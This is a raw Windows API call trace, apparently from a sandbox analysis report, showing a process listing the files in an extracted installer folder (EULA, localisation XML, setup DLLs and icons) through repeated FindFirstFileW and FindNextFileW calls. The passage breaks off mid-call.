[0101.140] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.140] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.174] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.174] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.174] FindClose (in: hFindFile=0x4290480 | out: hFindFile=0x4290480) returned 1 [0101.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.174] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0101.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.174] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290180 [0101.174] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.174] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.174] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.175] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.175] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.175] FindClose (in: hFindFile=0x4290180 | out: hFindFile=0x4290180) returned 1 [0101.175] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.175] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0101.175] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.175] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290400 [0101.176] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.176] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.176] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.176] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.176] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.176] FindClose (in: hFindFile=0x4290400 | out: hFindFile=0x4290400) returned 1 [0101.176] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.176] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0101.176] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.176] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290180 [0101.177] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.177] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0101.177] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0101.177] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0101.177] FindClose (in: hFindFile=0x4290180 | out: hFindFile=0x4290180) returned 1 [0101.177] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.177] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0101.178] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0101.178] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0101.178] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.178] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290400 [0101.178] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.178] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0101.178] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0101.178] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0101.178] FindClose (in: hFindFile=0x4290400 | out: hFindFile=0x4290400) returned 1 [0101.178] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.179] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0101.179] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.179] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290440 [0101.436] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.454] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0101.455] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0101.455] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0101.455] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0101.455] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0101.455] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0101.455] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0101.456] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0101.456] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0101.456] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x32bf800 | out: 